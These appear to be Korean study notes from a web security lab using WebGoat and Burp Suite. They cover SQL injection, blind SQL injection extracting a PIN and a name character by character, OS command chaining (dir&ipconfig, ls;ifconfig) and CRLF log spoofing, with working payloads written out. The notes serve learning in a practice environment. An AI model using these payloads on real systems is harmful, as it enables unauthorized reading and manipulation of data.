java --version
DB와 연동된 응용프로그램에서 입력된 데이터에 대한 유효성 검증을 하지 않을 경우, 공겨자가 입력데이터에 SQL 쿼리문을 삽입하여 DB로부터 정보를 열람하거나 조작할 수 있는 보안 취약점
PW=''or''='' → PW가 NULL 이거나 NULL = NULL
SQL Lite 설치
F12 - 마우스모양 - 해당 위치 클릭 - 코드 수정하여 SQL Injection 공격 실행
burp suite에서 intercept on 한 뒤 SQL Injeciton 공격 실행
String 일떄
select * from memeber where user_id='?' ##여기서는 1' or '1'='1 을 넣으면 됨```
Number 일때
select * from bbs where num = ? ##여기서는 그냥 1 or 1=1 하면 됨
하나만 보여진다면 뒤에껄 보고 싶을때는
select * from member where employee_id = 101 or 1=1 order by employee_id desc
그냥 SQL Injection은 or 연산을 사용했다면 Blind SQL Injection은 and연산을 통해 공격함
테이블 이름이나 속성 등을 찾아낼 수 있음
101 and (select pin from pins where cc_number = '1111222233334444') > 10
101 and (select pin from pins where cc_number = '1111222233334444') > 100
101 and (select pin from pins where cc_number = '1111222233334444') > 1000
101 and (select pin from pins where cc_number = '1111222233334444') > 10000
이렇게 대소 비교를 해서 valid가 invalid가 되는 순간을 통해 그 값을 알 수 있음
SUBSTRING('hojin', 1[start], 1[length]) => 첫번째글자에서 하나를 추출해라, 'h'
아스키코드 값으로 blind sql injection을 할 수 있음
select name from pins where cc_number = '4321432143214321'
name = 'keunsoo'
101 and SUBSTRING((select name from pins where cc_number = '4321432143214321'), 1, 1) > 'H'
#이 결과값이 valid이고
101 and SUBSTRING((select name from pins where cc_number = '4321432143214321'), 1, 1) > 'J'
#이 결과값이 Invalid이면, 첫번째 글자는 J 이다
이렇게 하나하나 하면서 해당 컬럼값의 이름을 알 수 있음.. 하지만 일일히 다할수 없으니까 sql map 이라는 툴을 사용할 수 있음
사용자 입력 값이 운영체제 명령어의 일부 또는 전부로 구성되어 실행되는 경우, 의도하지 않은 시스템 명령어가 실행되어 부적절하게 권한이 변경되거나 시스템 동작 및 운영에 악영향을 미칠 수 있음
웹서버에서 운영체제 명령어를 사용할때 위 공격을 할 수 있음
Window
&를 이용해서 명령어 2개를 한줄에 실행 가능함
dir&ipconfig
Linux
;를 이용해서 명령어 2개를 한줄에 실행 가능함
ls;ifconfig
Webgoat를 활용한 실습
이러한 취약점을 보안하기 위해서는,
webgoat에서 logspoofing으로 들어가서 실습 진행
%0D(Carrigage Return, CR) %0A(Line Feed, LF)
Login failed for username: Smith%0d%0ALogin Succeeded for username: Admin
이렇게 하면 뒤에 개행해서 가짜 로그가 찍힘
http통신할때도 개행을 통해서 header와 body를 나누는데 이것도 같은 맥락으로 공격 가능